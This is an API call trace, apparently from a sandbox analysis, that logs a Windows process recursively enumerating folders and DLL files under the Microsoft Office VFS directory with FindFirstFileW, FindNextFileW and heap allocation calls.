	[0164.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.746] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.746] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 1
	[0164.746] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140f98
	[0164.747] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.747] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1
	[0164.747] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4282998
	[0164.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\*", lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0164.747] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.747] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd7bf89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a74b071, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1850c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0164.747] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d678, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1
	[0164.747] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a724e44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d678, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0
	[0164.747] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0164.747] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0164.747] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0164.747] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0164.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0164.748] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0164.748] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.748] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0164.748] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.749] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1
	[0164.749] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.750] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.750] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 1
	[0164.750] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\System\\ole db\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140298
	[0164.750] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.750] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39c30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1
	[0164.751] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1
	[0164.751] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b78b8d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b78b8d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0
	[0164.751] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.751] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0164.751] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0164.751] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0164.751] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0164.751] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0
	[0164.751] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0164.751] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0164.752] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1
	[0164.752] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x41a9008
	[0164.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\*", lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140298
	[0164.752] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.753] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~1")) returned 1
	[0164.753] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0164.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\*", lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0164.753] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.753] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1
	[0164.754] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0164.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140698
	[0164.754] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.754] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 1
	[0164.754] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0164.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\*", lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0164.755] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.755] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0164.755] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4282998
	[0164.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\*", lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140a18
	[0164.756] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a6fec90, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2aebe60a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2aebe60a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.756] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x310e69c | out: lpFindFileData=0x310e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a79751b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a79751b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2a7bd7ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as80.xsl", cAlternateFileName="")) returned 1
